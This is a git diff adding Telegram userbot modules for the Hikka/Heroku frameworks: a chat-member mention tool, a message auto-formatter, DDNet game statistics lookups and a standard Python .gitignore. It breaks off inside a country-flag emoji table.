fiksofficial/python-modules/tagall2.0.py
Normal file
110
fiksofficial/python-modules/tagall2.0.py
Normal file
@@ -0,0 +1,110 @@
|
||||
# ______ ___ ___ _ _
|
||||
# ____ | ___ \ | \/ | | | | |
|
||||
# / __ \| |_/ / _| . . | ___ __| |_ _| | ___
|
||||
# / / _` | __/ | | | |\/| |/ _ \ / _` | | | | |/ _ \
|
||||
# | | (_| | | | |_| | | | | (_) | (_| | |_| | | __/
|
||||
# \ \__,_\_| \__, \_| |_/\___/ \__,_|\__,_|_|\___|
|
||||
# \____/ __/ |
|
||||
# |___/
|
||||
|
||||
# На модуль распространяется лицензия "GNU General Public License v3.0"
|
||||
# https://github.com/all-licenses/GNU-General-Public-License-v3.0
|
||||
|
||||
# meta developer: @pymodule
|
||||
|
||||
from .. import loader, utils
|
||||
from telethon.tl.types import ChannelParticipantsAdmins, UserStatusRecently, UserStatusOnline, Message
|
||||
import typing
|
||||
import asyncio
|
||||
|
||||
@loader.tds
|
||||
class TagAllMod(loader.Module):
|
||||
"""TagAll 2.0 — smart mention of chat participants: .tagall {all/admins/online/active} {text}"""
|
||||
|
||||
strings = {
|
||||
"name": "TagAll 2.0",
|
||||
"done": "✅ <b>{}</b> users mentioned",
|
||||
"no_users": "⚠️ No users found matching this filter",
|
||||
"invalid_args": "❌ Invalid command format. Use: .tagall {all/admins/online/active} {text}",
|
||||
}
|
||||
|
||||
strings_ru = {
|
||||
"_cls_doc": "TagAll 2.0 — умное упоминание участников чата: .tagall {all/admins/online/active} {текст}",
|
||||
"done": "✅ Упомянуто <b>{}</b> пользователей",
|
||||
"no_users": "⚠️ Не найдено пользователей по данному фильтру",
|
||||
"invalid_args": "❌ Неверный формат команды. Используйте: .tagall {all/admins/online/active} {текст}",
|
||||
}
|
||||
|
||||
async def client_ready(self, client, db):
|
||||
self.client = client
|
||||
|
||||
@loader.command(ru_doc="Упомянуть участников: .tagall {all/admins/online/active} {текст}")
|
||||
async def tagallcmd(self, message: Message):
|
||||
"""Mention members: .tagall {all/admins/online/active} {text}"""
|
||||
args = utils.get_args_raw(message).split(maxsplit=1)
|
||||
mode = args[0].lower() if args else None
|
||||
text = args[1] if len(args) > 1 else "Срочное собрание!"
|
||||
|
||||
valid_modes = {"all", "admins", "online", "active"}
|
||||
|
||||
if mode not in valid_modes:
|
||||
await utils.answer(message, self.strings["invalid_args"])
|
||||
return
|
||||
|
||||
chat = await self.client.get_entity(message.chat_id)
|
||||
tagged = await self._do_tagall(chat, mode, text)
|
||||
if not tagged:
|
||||
await utils.answer(message, self.strings["no_users"])
|
||||
return
|
||||
await utils.answer(message, self.strings["done"].format(tagged))
|
||||
|
||||
async def _do_tagall(self, chat, filter_: str, text: str = "") -> typing.Optional[int]:
|
||||
users = []
|
||||
|
||||
try:
|
||||
if filter_ == "all":
|
||||
async for user in self.client.iter_participants(chat):
|
||||
if not user.bot:
|
||||
users.append(user)
|
||||
|
||||
elif filter_ == "admins":
|
||||
async for user in self.client.iter_participants(chat, filter=ChannelParticipantsAdmins):
|
||||
if not user.bot:
|
||||
users.append(user)
|
||||
|
||||
elif filter_ == "online":
|
||||
async for user in self.client.iter_participants(chat):
|
||||
if not user.bot and isinstance(user.status, (UserStatusRecently, UserStatusOnline)):
|
||||
users.append(user)
|
||||
|
||||
elif filter_ == "active":
|
||||
user_ids = set()
|
||||
async for msg in self.client.iter_messages(chat, limit=50):
|
||||
if msg.sender_id and msg.sender_id not in user_ids:
|
||||
try:
|
||||
user = await self.client.get_entity(msg.sender_id)
|
||||
if not user.bot:
|
||||
users.append(user)
|
||||
user_ids.add(msg.sender_id)
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
if not users:
|
||||
return None
|
||||
|
||||
batch_size = 5
|
||||
tagged = 0
|
||||
for i in range(0, len(users), batch_size):
|
||||
batch = users[i:i + batch_size]
|
||||
mentions = " ".join([f"<span class='tg-spoiler'><a href='tg://user?id={u.id}'>{u.first_name or 'User'}</a></span>" for u in batch])
|
||||
msg_text = f"<b>{text}</b>\n{mentions}" if text else mentions
|
||||
await self.client.send_message(chat, msg_text, link_preview=False, parse_mode="html")
|
||||
tagged += len(batch)
|
||||
if i + batch_size < len(users):
|
||||
await asyncio.sleep(2)
|
||||
|
||||
return tagged
|
||||
|
||||
except Exception as e:
|
||||
self._log.error(f"Error in tagall: {e}")
|
||||
return None
|
||||
171
mead0wsss/mead0wsMods/.gitignore
vendored
Normal file
171
mead0wsss/mead0wsMods/.gitignore
vendored
Normal file
@@ -0,0 +1,171 @@
|
||||
# Byte-compiled / optimized / DLL files
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
|
||||
# C extensions
|
||||
*.so
|
||||
|
||||
# Distribution / packaging
|
||||
.Python
|
||||
build/
|
||||
develop-eggs/
|
||||
dist/
|
||||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
wheels/
|
||||
share/python-wheels/
|
||||
*.egg-info/
|
||||
.installed.cfg
|
||||
*.egg
|
||||
MANIFEST
|
||||
|
||||
# PyInstaller
|
||||
# Usually these files are written by a python script from a template
|
||||
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
||||
*.manifest
|
||||
*.spec
|
||||
|
||||
# Installer logs
|
||||
pip-log.txt
|
||||
pip-delete-this-directory.txt
|
||||
|
||||
# Unit test / coverage reports
|
||||
htmlcov/
|
||||
.tox/
|
||||
.nox/
|
||||
.coverage
|
||||
.coverage.*
|
||||
.cache
|
||||
nosetests.xml
|
||||
coverage.xml
|
||||
*.cover
|
||||
*.py,cover
|
||||
.hypothesis/
|
||||
.pytest_cache/
|
||||
cover/
|
||||
|
||||
# Translations
|
||||
*.mo
|
||||
*.pot
|
||||
|
||||
# Django stuff:
|
||||
*.log
|
||||
local_settings.py
|
||||
db.sqlite3
|
||||
db.sqlite3-journal
|
||||
|
||||
# Flask stuff:
|
||||
instance/
|
||||
.webassets-cache
|
||||
|
||||
# Scrapy stuff:
|
||||
.scrapy
|
||||
|
||||
# Sphinx documentation
|
||||
docs/_build/
|
||||
|
||||
# PyBuilder
|
||||
.pybuilder/
|
||||
target/
|
||||
|
||||
# Jupyter Notebook
|
||||
.ipynb_checkpoints
|
||||
|
||||
# IPython
|
||||
profile_default/
|
||||
ipython_config.py
|
||||
|
||||
# pyenv
|
||||
# For a library or package, you might want to ignore these files since the code is
|
||||
# intended to run in multiple environments; otherwise, check them in:
|
||||
# .python-version
|
||||
|
||||
# pipenv
|
||||
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
|
||||
# However, in case of collaboration, if having platform-specific dependencies or dependencies
|
||||
# having no cross-platform support, pipenv may install dependencies that don't work, or not
|
||||
# install all needed dependencies.
|
||||
#Pipfile.lock
|
||||
|
||||
# UV
|
||||
# Similar to Pipfile.lock, it is generally recommended to include uv.lock in version control.
|
||||
# This is especially recommended for binary packages to ensure reproducibility, and is more
|
||||
# commonly ignored for libraries.
|
||||
#uv.lock
|
||||
|
||||
# poetry
|
||||
# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
|
||||
# This is especially recommended for binary packages to ensure reproducibility, and is more
|
||||
# commonly ignored for libraries.
|
||||
# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
|
||||
#poetry.lock
|
||||
|
||||
# pdm
|
||||
# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
|
||||
#pdm.lock
|
||||
# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
|
||||
# in version control.
|
||||
# https://pdm.fming.dev/latest/usage/project/#working-with-version-control
|
||||
.pdm.toml
|
||||
.pdm-python
|
||||
.pdm-build/
|
||||
|
||||
# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
|
||||
__pypackages__/
|
||||
|
||||
# Celery stuff
|
||||
celerybeat-schedule
|
||||
celerybeat.pid
|
||||
|
||||
# SageMath parsed files
|
||||
*.sage.py
|
||||
|
||||
# Environments
|
||||
.env
|
||||
.venv
|
||||
env/
|
||||
venv/
|
||||
ENV/
|
||||
env.bak/
|
||||
venv.bak/
|
||||
|
||||
# Spyder project settings
|
||||
.spyderproject
|
||||
.spyproject
|
||||
|
||||
# Rope project settings
|
||||
.ropeproject
|
||||
|
||||
# mkdocs documentation
|
||||
/site
|
||||
|
||||
# mypy
|
||||
.mypy_cache/
|
||||
.dmypy.json
|
||||
dmypy.json
|
||||
|
||||
# Pyre type checker
|
||||
.pyre/
|
||||
|
||||
# pytype static type analyzer
|
||||
.pytype/
|
||||
|
||||
# Cython debug symbols
|
||||
cython_debug/
|
||||
|
||||
# PyCharm
|
||||
# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
|
||||
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
|
||||
# and can be added to the global gitignore or merged into this file. For a more nuclear
|
||||
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
|
||||
#.idea/
|
||||
|
||||
# PyPI configuration file
|
||||
.pypirc
|
||||
113
mead0wsss/mead0wsMods/AutoFormatting.py
Normal file
113
mead0wsss/mead0wsMods/AutoFormatting.py
Normal file
@@ -0,0 +1,113 @@
|
||||
__version__ = (1, 0, 0)
|
||||
|
||||
# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗
|
||||
# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝
|
||||
# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░
|
||||
# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗
|
||||
# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝
|
||||
# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░
|
||||
# © Copyright 2025
|
||||
# ✈ https://t.me/mead0wssMods
|
||||
|
||||
# scope: hikka_only
|
||||
# scope: hikka_min 1.3.3
|
||||
# meta developer: @mead0wssMods
|
||||
# meta banner: https://x0.at/yCcx.jpg
|
||||
|
||||
from telethon import events
|
||||
from .. import loader, utils
|
||||
|
||||
@loader.tds
|
||||
class AutoFormatting(loader.Module):
|
||||
"""Модуль для автоматического форматирования вашего текста в чате."""
|
||||
strings = {"name": "AutoFormatting"}
|
||||
|
||||
def __init__(self):
|
||||
self.styles = {
|
||||
"bold": False,
|
||||
"italic": False,
|
||||
"mono": False,
|
||||
"underline": False,
|
||||
"strikethrough": False,
|
||||
"center": False
|
||||
}
|
||||
|
||||
async def format_message(self, message):
|
||||
content = message.text
|
||||
if not content:
|
||||
return
|
||||
|
||||
for style, enabled in self.styles.items():
|
||||
if enabled:
|
||||
tags = {
|
||||
"bold": "b",
|
||||
"italic": "i",
|
||||
"mono": "code",
|
||||
"underline": "u",
|
||||
"strikethrough": "s",
|
||||
"center": "center"
|
||||
}
|
||||
content = f"<{tags[style]}>{content}</{tags[style]}>"
|
||||
|
||||
await message.edit(content, parse_mode="HTML")
|
||||
|
||||
def reset_styles(self):
|
||||
for style in self.styles:
|
||||
self.styles[style] = False
|
||||
|
||||
@loader.command()
|
||||
async def bold(self, message):
|
||||
"""Включает или отключает жирный текст."""
|
||||
self.styles["bold"] = not self.styles["bold"]
|
||||
status = "включен" if self.styles["bold"] else "выключен"
|
||||
await utils.answer(message, f"🪐 <b>Жирный текст</b> {status} ʕ·ᴥ·ʔ", parse_mode="HTML")
|
||||
|
||||
@loader.command()
|
||||
async def italic(self, message):
|
||||
"""Включает или отключает курсив."""
|
||||
self.styles["italic"] = not self.styles["italic"]
|
||||
status = "включен" if self.styles["italic"] else "выключен"
|
||||
await utils.answer(message, f"🪐 <i>Курсив</i> {status} ʕ·ᴥ·ʔ", parse_mode="HTML")
|
||||
|
||||
@loader.command()
|
||||
async def mono(self, message):
|
||||
"""Включает или отключает моноширинный текст."""
|
||||
self.styles["mono"] = not self.styles["mono"]
|
||||
status = "включен" if self.styles["mono"] else "выключен"
|
||||
await utils.answer(message, f"🪐 <code>Моноширинный текст</code> {status} ʕ·ᴥ·ʔ", parse_mode="HTML")
|
||||
|
||||
@loader.command()
|
||||
async def underline(self, message):
|
||||
"""Включает или отключает подчеркивание."""
|
||||
self.styles["underline"] = not self.styles["underline"]
|
||||
status = "включен" if self.styles["underline"] else "выключен"
|
||||
await utils.answer(message, f"🪐 <u>Подчеркивание</u> {status} ʕ·ᴥ·ʔ", parse_mode="HTML")
|
||||
|
||||
@loader.command()
|
||||
async def strikethrough(self, message):
|
||||
"""Включает или отключает зачеркивание."""
|
||||
self.styles["strikethrough"] = not self.styles["strikethrough"]
|
||||
status = "включен" if self.styles["strikethrough"] else "выключен"
|
||||
await utils.answer(message, f"🪐 <s>Зачеркивание</s> {status} ʕ·ᴥ·ʔ", parse_mode="HTML")
|
||||
|
||||
@loader.command()
|
||||
async def off(self, message):
|
||||
"""Отключает все стили."""
|
||||
self.reset_styles()
|
||||
await utils.answer(message, "🪐 Все стили выключены ʕ·ᴥ·ʔ", parse_mode="HTML")
|
||||
|
||||
@loader.command()
|
||||
async def on(self, message):
|
||||
"""Включает стиль по умолчанию (жирный текст)."""
|
||||
self.reset_styles()
|
||||
self.styles["bold"] = True
|
||||
await utils.answer(message, "🪐 Стиль по умолчанию (жирный текст) включен ʕ·ᴥ·ʔ", parse_mode="HTML")
|
||||
|
||||
@loader.watcher(out=True)
|
||||
async def message_watcher(self, message):
|
||||
commands = ["bold", "italic", "mono", "underline", "strikethrough", "off", "on"]
|
||||
if message.text.split()[0] in commands:
|
||||
return
|
||||
|
||||
if any(self.styles.values()):
|
||||
await self.format_message(message)
|
||||
98
mead0wsss/mead0wsMods/DDNetPlayerTime.py
Normal file
98
mead0wsss/mead0wsMods/DDNetPlayerTime.py
Normal file
@@ -0,0 +1,98 @@
|
||||
# -- version --
|
||||
__version__ = (1, 0, 0)
|
||||
# -- version --
|
||||
|
||||
|
||||
# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗
|
||||
# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝
|
||||
# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░
|
||||
# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗
|
||||
# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝
|
||||
# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░
|
||||
# © Copyright 2025
|
||||
# ✈ https://t.me/mead0wssMods
|
||||
|
||||
|
||||
# meta developer: @mead0wssMods
|
||||
# scope: heroku_only
|
||||
|
||||
import herokutl
|
||||
from .. import loader, utils
|
||||
import aiohttp
|
||||
|
||||
@loader.tds
|
||||
class DDNetPlayerTime(loader.Module):
|
||||
"""Получение статистики отыгранного времени игрока DDNet с ddstats.tw"""
|
||||
|
||||
strings = {
|
||||
"name": "DDNetPT",
|
||||
"no_args": "<emoji document_id=5980953710157632545>❌</emoji><b> Укажите ник игрока!</b>",
|
||||
"api_error_or_player_not_found": "<emoji document_id=5980953710157632545>❌</emoji><b> Возможно данный игрок не найден либо ошибка на стороне API</b>",
|
||||
}
|
||||
|
||||
async def client_ready(self, client, db):
|
||||
self.client = client
|
||||
|
||||
@loader.command()
|
||||
async def ddpt(self, message):
|
||||
"""<ник> | Получить статистику игрока"""
|
||||
args = utils.get_args_raw(message)
|
||||
if not args:
|
||||
await utils.answer(message, self.strings["no_args"])
|
||||
return
|
||||
|
||||
try:
|
||||
async with aiohttp.ClientSession() as session:
|
||||
async with session.get(f"https://ddstats.tw/player/json?player={args}") as resp:
|
||||
if resp.status != 200:
|
||||
await utils.answer(message, self.strings["api_error_or_player_not_found"])
|
||||
return
|
||||
data = await resp.json()
|
||||
response = ""
|
||||
gametypes = data.get("most_played_gametypes", [])
|
||||
if gametypes:
|
||||
gametypes_str = []
|
||||
for gt in gametypes:
|
||||
hours = round(gt.get("seconds_played", 0) / 3600)
|
||||
gametypes_str.append(f"{gt.get('key', '?')} - <code>{hours}ч</code>")
|
||||
|
||||
response += f"<b><emoji document_id=6032693626394382504>👤</emoji> Игрок: <code>{args}</code>\n\n<emoji document_id=5908961403917570106>📌</emoji> Тип:\n<blockquote>" + "\n".join(gametypes_str) + "</blockquote>\n\n</b>"
|
||||
|
||||
# мапы
|
||||
maps = data.get("most_played_maps", [])
|
||||
if maps:
|
||||
maps_str = []
|
||||
for m in maps:
|
||||
hours = round(m.get("seconds_played", 0) / 3600)
|
||||
maps_str.append(f"{m.get('map_name', '?')} - <code>{hours}ч</code>")
|
||||
|
||||
response += "<b><emoji document_id=5985479497586053461>🗺</emoji> Карта:\n<blockquote>" + "\n".join(maps_str) + "</blockquote>\n\n</b>"
|
||||
|
||||
# категории
|
||||
categories = data.get("most_played_categories", [])
|
||||
if categories:
|
||||
categories_str = []
|
||||
for cat in categories:
|
||||
hours = round(cat.get("seconds_played", 0) / 3600)
|
||||
categories_str.append(f"{cat.get('key', '?')} - <code>{hours}ч</code>")
|
||||
|
||||
response += "<b><emoji document_id=5924720918826848520>📦</emoji> Категория:\n<blockquote>" + "\n".join(categories_str) + "</blockquote>\n\n</b>"
|
||||
|
||||
# время
|
||||
general = data.get("general_activity", {})
|
||||
if general:
|
||||
total_hours = round(general.get("total_seconds_played", 0) / 3600)
|
||||
avg_hours = round(general.get("average_seconds_played", 0) / 3600)
|
||||
start_date = general.get("start_of_playtime", "?")
|
||||
response += "<b><emoji document_id=5870729937215819584>⏰️</emoji> Время:\n<blockquote>"
|
||||
response += f"Общее время игры - <code>{total_hours}ч</code>\n"
|
||||
response += f"Дата начала игры - <code>{start_date}</code>\n"
|
||||
response += f"Среднее время игры - <code>{avg_hours}ч</code>"
|
||||
response += "</blockquote></b>"
|
||||
|
||||
await utils.answer(message, response)
|
||||
|
||||
except Exception as e:
|
||||
await utils.answer(message, f"{self.strings['api_error_or_player_not_found']}: {str(e)}")
|
||||
|
||||
# ебеший-ленеивый говнокод
|
||||
264
mead0wsss/mead0wsMods/DDNetStats.py
Normal file
264
mead0wsss/mead0wsMods/DDNetStats.py
Normal file
@@ -0,0 +1,264 @@
|
||||
# -- version --
|
||||
__version__ = (1, 0, 0)
|
||||
# -- version --
|
||||
|
||||
|
||||
# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗
|
||||
# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝
|
||||
# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░
|
||||
# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗
|
||||
# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝
|
||||
# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░
|
||||
# © Copyright 2025 (!!! НА ВСЕ МОДУЛИ ДЕЙСТВУЕТ ЛИЦЕНЗИЯ !!!)
|
||||
# ✈ https://t.me/mead0wssMods
|
||||
|
||||
|
||||
# meta developer: @mead0wssMods
|
||||
# scope: heroku_only
|
||||
|
||||
import aiohttp
|
||||
from .. import loader, utils
|
||||
|
||||
# флаги
|
||||
COUNTRY_FLAGS = {
|
||||
4: "<emoji document_id=5282901420092184370>🇦🇫</emoji>", 8: "<emoji document_id=5282802257887252454>🇦🇱</emoji>", 12: "<emoji document_id=5269400778807720624>🇩🇿</emoji>", 16: "<emoji document_id=5285286810568643037>🇦🇸</emoji>", 20: "<emoji document_id=5285054504377537713>🇦🇩</emoji>", 24: "<emoji document_id=5221978936791017415>🇦🇴</emoji>", 28: "<emoji document_id=5233687283927892876>🇦🇬</emoji>", 32: "<emoji document_id=5280670931906213487>🇦🇷</emoji>", 51: "<emoji document_id=5271787444889466595>🇦🇲</emoji>",
|
||||
52: "<emoji document_id=5222119223307807441>🇧🇧</emoji>", 56: "<emoji document_id=5280641133423112676>🇧🇪</emoji>", 68: "<emoji document_id=5382315288630934648>🇧🇴</emoji>", 76: "<emoji document_id=5280669682070731606>🇧🇷</emoji>", 84: "<emoji document_id=5231366665853224722>🇧🇿</emoji>", 96: "<emoji document_id=5285233604513781328>🇧🇳</emoji>", 100: "<emoji document_id=5282791606368352462>🇧🇬</emoji>", 108: "<emoji document_id=5357542359649237058>🇧🇮</emoji>", 112: "<emoji document_id=5280512271519331866>🇧🇾</emoji>",
|
||||
116: "<emoji document_id=5280485724326474894>🇰🇭</emoji>", 120: "<emoji document_id=5474681124426884947>🇨🇲</emoji>", 124: "<emoji document_id=5280518567941387930>🇨🇦</emoji>", 136: "<emoji document_id=5454177075109839093>🇰🇾</emoji>", 140: "<emoji document_id=5422628135139031178>🇨🇫</emoji>", 148: "<emoji document_id=6323390224307062186>🇹🇩</emoji>", 152: "<emoji document_id=5384575377731499598>🇨🇱</emoji>", 156: "<emoji document_id=5281004590735569964>🇨🇳</emoji>",
|
||||
170: "<emoji document_id=5384497205031746451>🇨🇴</emoji>", 174: "<emoji document_id=5422342777511886475>🇰🇲</emoji>", 178: "<emoji document_id=5422479718249151727>🇨🇬</emoji>", 180: "<emoji document_id=5269407491841603689>🇨🇩</emoji>", 184: "<emoji document_id=5283150313446985843>🇨🇰</emoji>", 188: "<emoji document_id=5269494559418629149>🇨🇷</emoji>", 191: "<emoji document_id=5281017995328500960>🇭🇷</emoji>", 192: "<emoji document_id=5357035553508308603>🇨🇺</emoji>",
|
||||
196: "<emoji document_id=5246826422110018275>🇨🇾</emoji>", 203: "<emoji document_id=5280658931767587282>🇨🇿</emoji>", 208: "<emoji document_id=5280545188148688356>🇩🇰</emoji>", 212: "<emoji document_id=5231486851923069595>🇩🇲</emoji>", 214: "<emoji document_id=5427236235615683748>🇩🇴</emoji>", 218: "<emoji document_id=5359624993586034294>🇪🇨</emoji>", 222: "<emoji document_id=6323151583039194562>🇸🇻</emoji>", 231: "<emoji document_id=5269679685393989166>🇪🇹</emoji>",
|
||||
232: "<emoji document_id=5420548035232937623>🇪🇷</emoji>", 233: "<emoji document_id=5280988244090043228>🇪🇪</emoji>", 234: "<emoji document_id=5454214681843481342>🇫🇰</emoji>", 238: "<emoji document_id=5285146695850546991>🇫🇯</emoji>", 242: "<emoji document_id=5280618189707820243>🇫🇮</emoji>", 246: "<emoji document_id=5280726985524393568>🇫🇷</emoji>", 250: "<emoji document_id=5280726985524393568>🇫🇷</emoji>", 254: "<emoji document_id=5233523014313720667>🇬🇫</emoji>",
|
||||
258: "<emoji document_id=5285088988669956602>🇵🇫</emoji>", 260: "<emoji document_id=6323541720688494392>🇹🇫</emoji>", 262: "<emoji document_id=5458586718032634511>🇩🇯</emoji>", 266: "<emoji document_id=5408983586680350780>🇬🇦</emoji>", 268: "<emoji document_id=5282892108603077166>🇬🇪</emoji>", 270: "<emoji document_id=5420472705801536529>🇬🇲</emoji>", 276: "<emoji document_id=5280891993872938632>🇩🇪</emoji>", 288: "<emoji document_id=5188676065320511388>🇬🇭</emoji>",
|
||||
292: "<emoji document_id=5285097376741085100>🇬🇮</emoji>", 300: "<emoji document_id=5280778658275933332>🇬🇷</emoji>", 304: "<emoji document_id=5283030741557467798>🇬🇱</emoji>", 308: "<emoji document_id=5467787680441976258>🇬🇩</emoji>", 312: "<emoji document_id=5467664243081886165>🇬🇵</emoji>", 316: "<emoji document_id=5283243058970777502>🇬🇺</emoji>", 320: "<emoji document_id=5280645643138774246>🇬🇹</emoji>", 324: "<emoji document_id=5408977500711691863>🇬🇳</emoji>",
|
||||
328: "<emoji document_id=5420413662886117194>🇬🇾</emoji>", 332: "<emoji document_id=5357490485034236365>🇭🇹</emoji>", 336: "<emoji document_id=6321134039331767912>🇻🇦</emoji>", 340: "<emoji document_id=5224205572391315540>🇭🇳</emoji>", 344: "<emoji document_id=5280508169825564450>🇭🇰</emoji>", 348: "<emoji document_id=5280899741993940546>🇭🇺</emoji>", 352: "<emoji document_id=5280963298919984867>🇮🇸</emoji>", 356: "<emoji document_id=5280846712032736842>🇮🇳</emoji>",
|
||||
360: "<emoji document_id=5280650659660575583>🇮🇩</emoji>", 364: "<emoji document_id=5386769637868321283>🇮🇷</emoji>", 368: "<emoji document_id=5282728427399434847>🇮🇶</emoji>", 372: "<emoji document_id=5418148690407736295>🇮🇪</emoji>", 376: "<emoji document_id=5280470756365449120>🇮🇱</emoji>", 380: "<emoji document_id=5280980882516097940>🇮🇹</emoji>", 384: "<emoji document_id=5411283953984218884>🇨🇮</emoji>", 388: "<emoji document_id=5420144630429667484>🇯🇲</emoji>",
|
||||
392: "<emoji document_id=5280646033980798168>🇯🇵</emoji>", 400: "<emoji document_id=5280969006931523664>🇯🇴</emoji>", 404: "<emoji document_id=5269725950781699509>🇰🇪</emoji>", 408: "<emoji document_id=5283148599755034836>🇰🇵</emoji>", 410: "<emoji document_id=5281027160788711973>🇰🇷</emoji>", 414: "<emoji document_id=5285528436838802863>🇰🇼</emoji>", 417: "<emoji document_id=5280796211807271247>🇰🇬</emoji>", 418: "<emoji document_id=5382259381041642498>🇱🇦</emoji>",
|
||||
422: "<emoji document_id=5281005170556155877>🇱🇧</emoji>", 426: "<emoji document_id=5422515422312281871>🇱🇸</emoji>", 428: "<emoji document_id=5280520440547128580>🇱🇻</emoji>", 430: "<emoji document_id=5422520224085720580>🇱🇷</emoji>", 434: "<emoji document_id=5222284437814783192>🇱🇾</emoji>", 438: "<emoji document_id=5283163589190897118>🇱🇮</emoji>", 440: "<emoji document_id=5281003469749104420>🇱🇹</emoji>", 442: "<emoji document_id=5280820753250399387>🇱🇺</emoji>",
|
||||
446: "<emoji document_id=5282872089760517576>🇲🇴</emoji>", 450: "<emoji document_id=5429165814097913547>🇲🇬</emoji>", 454: "<emoji document_id=5341341330691863561>🇲🇼</emoji>", 458: "<emoji document_id=5282889303989434607>🇲🇾</emoji>", 462: "<emoji document_id=5282867081828653253>🇲🇻</emoji>", 466: "<emoji document_id=5411259459785730007>🇲🇱</emoji>", 470: "<emoji document_id=5195440776250671226>🇲🇹</emoji>", 474: "<emoji document_id=5470045239806802915>🇲🇶</emoji>",
|
||||
478: "<emoji document_id=5422465115360345921>🇲🇷</emoji>", 480: "<emoji document_id=5269757084999628216>🇲🇺</emoji>", 484: "<emoji document_id=5462978261963263384>🇲🇽</emoji>", 492: "<emoji document_id=5283030548283937651>🇲🇨</emoji>", 496: "<emoji document_id=5406717720848778045>🇲🇳</emoji>", 498: "<emoji document_id=5280508998754250814>🇲🇩</emoji>", 499: "<emoji document_id=5280868599186077859>🇲🇪</emoji>", 504: "<emoji document_id=5260720207520867861>🇲🇦</emoji>",
|
||||
508: "<emoji document_id=5429106139822303027>🇲🇿</emoji>", 512: "<emoji document_id=5283013153666389024>🇴🇲</emoji>", 516: "<emoji document_id=5420229786746239476>🇳🇦</emoji>", 520: "<emoji document_id=5283007995410667003>🇳🇷</emoji>", 524: "<emoji document_id=5283265805117577131>🇳🇵</emoji>", 528: "<emoji document_id=5280870488971685714>🇳🇱</emoji>", 531: "<emoji document_id=5233622988267472134>🇨🇼</emoji>", 533: "<emoji document_id=5231044964212817289>🇦🇼</emoji>",
|
||||
534: "<emoji document_id=6323585499290142513>🇸🇽</emoji>", 540: "<emoji document_id=5282787285631258647>🇳🇨</emoji>", 554: "<emoji document_id=5283051267206172487>🇳🇿</emoji>", 558: "<emoji document_id=5280902791420718943>🇳🇮</emoji>", 562: "<emoji document_id=5339240099546673885>🇳🇪</emoji>", 566: "<emoji document_id=5411334930951073814>🇳🇬</emoji>", 570: "<emoji document_id=5285220307295031557>🇳🇺</emoji>", 574: "<emoji document_id=5285358304594250788>🇳🇫</emoji>",
|
||||
578: "<emoji document_id=5280484839563212351>🇳🇴</emoji>", 580: "<emoji document_id=5282931570762601926>🇲🇵</emoji>", 583: "<emoji document_id=5231007765501067757>🇫🇲</emoji>", 584: "<emoji document_id=5283221498234949429>🇲🇭</emoji>", 585: "<emoji document_id=5222244507503833341>🇵🇼</emoji>", 586: "<emoji document_id=5280888059682894718>🇵🇰</emoji>", 591: "<emoji document_id=5269271835299560112>🇵🇦</emoji>", 598: "<emoji document_id=5283029023570548518>🇵🇬</emoji>",
|
||||
600: "<emoji document_id=5426992955783134297>🇵🇾</emoji>", 604: "<emoji document_id=5384282890458641680>🇵🇪</emoji>", 608: "<emoji document_id=5280749714491323863>🇵🇭</emoji>", 612: "<emoji document_id=5283000303124239264>🇵🇳</emoji>", 616: "<emoji document_id=5281026263140545634>🇵🇱</emoji>", 620: "<emoji document_id=5280644320288847664>🇵🇹</emoji>", 624: "<emoji document_id=5429574437286454077>🇬🇼</emoji>", 626: "<emoji document_id=6323296525300532878>🇹🇱</emoji>",
|
||||
